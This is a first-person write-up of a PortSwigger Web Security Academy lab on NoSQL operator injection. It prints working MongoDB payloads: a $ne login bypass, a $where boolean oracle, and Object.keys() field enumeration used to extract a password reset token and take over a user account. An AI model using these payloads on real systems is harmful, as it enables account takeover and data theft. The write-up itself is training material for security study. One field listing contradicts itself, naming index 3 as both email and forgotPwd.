| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | NoSQL Injection / Operator Injection / Field Enumeration |
| Difficulty | Practitioner |
| Objective | Enumerate unknown fields on Carlos's user document using Object.keys() and $where, extract a password reset token from a forgotPwd field, and log in as carlos |
Exploiting NoSQL Operator Injection to Extract Unknown Fields¶
No credentials — I tested operator injection on the login immediately:
{"username":"carlos","password":{"$ne":"teto"}}
Account locked: please reset your password
I requested a password reset for carlos to unlock the account:
Confirming $where evaluation by passing 0 vs 1:
{"username":"carlos","password":{"$ne":"teto"}, "$where":"0"}
→ Invalid username or password
{"username":"carlos","password":{"$ne":"teto"}, "$where":"1"}
→ Account locked: please reset your password
Different responses confirm JavaScript in $where is being evaluated — the boolean oracle is open. The $where key was added as an extra parameter in the POST body; if the application merges the entire request body into the query object without sanitization, any key we add becomes part of the MongoDB query.
MongoDB documents don't have a fixed schema — unlike SQL there's no INFORMATION_SCHEMA to query. Object.keys(this) in JavaScript returns all field names on the current document, making it the schema discovery primitive for $where injection. Combined with .match() and the boolean oracle, we can extract each field name character by character:
Object.keys(this)[N].match('^.{LENGTH}CHARACTER.*')
A match returns "Account locked" (true); no match returns "Invalid username or password" (false).
I set up Intruder cluster bomb with position index and character iterating through a-z, A-Z, 0-9:
{"username":"carlos","password":{"$ne":"teto"}, "$where":"Object.keys(this)[0].match('^.{%x}%b.*')"}
Incrementing field index and repeating:
Object.keys(this)[0]→_idObject.keys(this)[1]→usernameObject.keys(this)[2]→passwordObject.keys(this)[3]→email
But field index 3 revealed forgotPwd — not email:
A stored password reset token in a non-obvious field name. Without Object.keys() enumeration, this field would be completely invisible — there's no way to guess forgotPwd vs reset_token vs any other naming convention.
Extracting the forgotPwd value directly:
{"username":"carlos","password":{"$ne":"teto"}, "$where":"this.forgotPwd.match('^.{%x}%b.*')"}
Reconstructing the token from the matching characters:
Navigating to the reset URL:
/forgot-password?forgotPwd=1448218b7fe7cb13
Password change form loaded for carlos. Set a new password and logged in:
Lab solved